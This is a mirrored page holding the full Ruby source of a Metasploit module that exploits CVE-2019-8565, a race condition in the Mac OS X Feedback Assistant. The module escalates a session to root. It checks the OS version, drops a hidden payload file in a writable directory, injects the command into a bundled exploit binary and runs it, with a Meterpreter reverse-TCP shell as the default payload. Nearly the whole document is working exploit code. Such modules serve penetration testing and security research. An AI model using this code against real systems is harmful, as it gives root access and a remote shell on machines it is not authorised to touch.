CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/feedback_assistant_root.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Post::OSX::System
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'Mac OS X Feedback Assistant Race Condition',
18
'Description' => %q{
19
This module exploits a race condition vulnerability in Mac's Feedback Assistant.
20
A successful attempt would result in remote code execution under the context of
21
root.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'CodeColorist', # Discovery and exploit
26
'timwr', # Metasploit module
27
],
28
'References' => [
29
['CVE', '2019-8565'],
30
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
31
['URL', 'https://support.apple.com/en-in/HT209600'],
32
['URL', 'https://github.com/ChiChou/sploits'],
33
],
34
'SessionTypes' => [ 'meterpreter', 'shell' ],
35
'Platform' => [ 'osx', 'python', 'unix' ],
36
'DefaultTarget' => 0,
37
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
38
'Targets' => [
39
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
40
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
41
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
42
],
43
'DisclosureDate' => '2019-04-13'))
44
register_advanced_options [
45
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
46
]
47
end
48
49
def upload_executable_file(filepath, filedata)
50
print_status("Uploading file: '#{filepath}'")
51
write_file(filepath, filedata)
52
chmod(filepath)
53
register_file_for_cleanup(filepath)
54
end
55
56
def check
57
version = get_system_version
58
59
return CheckCode::Unknown('Could not retrieve OSX version') if version.blank?
60
61
version = Rex::Version.new(version)
62
63
if version >= Rex::Version.new('10.14.4')
64
return CheckCode::Safe("OSX version #{version} is not vulnerable.")
65
end
66
67
CheckCode::Appears("OSX version #{version} appears vulnerable.")
68
end
69
70
def exploit
71
if check != CheckCode::Appears
72
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
73
end
74
75
if is_root?
76
fail_with Failure::BadConfig, 'Session already has root privileges'
77
end
78
79
unless writable? datastore['WritableDir']
80
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
81
end
82
83
case target['Arch']
84
when ARCH_X64
85
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
86
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
87
upload_executable_file(payload_file, binary_payload)
88
root_cmd = payload_file
89
when ARCH_PYTHON
90
root_cmd = "echo \"#{payload.encoded}\" | python"
91
else
92
root_cmd = payload.encoded
93
end
94
root_cmd = root_cmd + " & \0"
95
if root_cmd.length > 1024
96
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
97
end
98
99
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
100
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
101
exploit_data[placeholder_index, root_cmd.length] = root_cmd
102
103
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
104
upload_executable_file(exploit_file, exploit_data)
105
106
print_status("Executing exploit '#{exploit_file}'")
107
result = cmd_exec(exploit_file)
108
print_status("Exploit result:\n#{result}")
109
end
110
end
111
112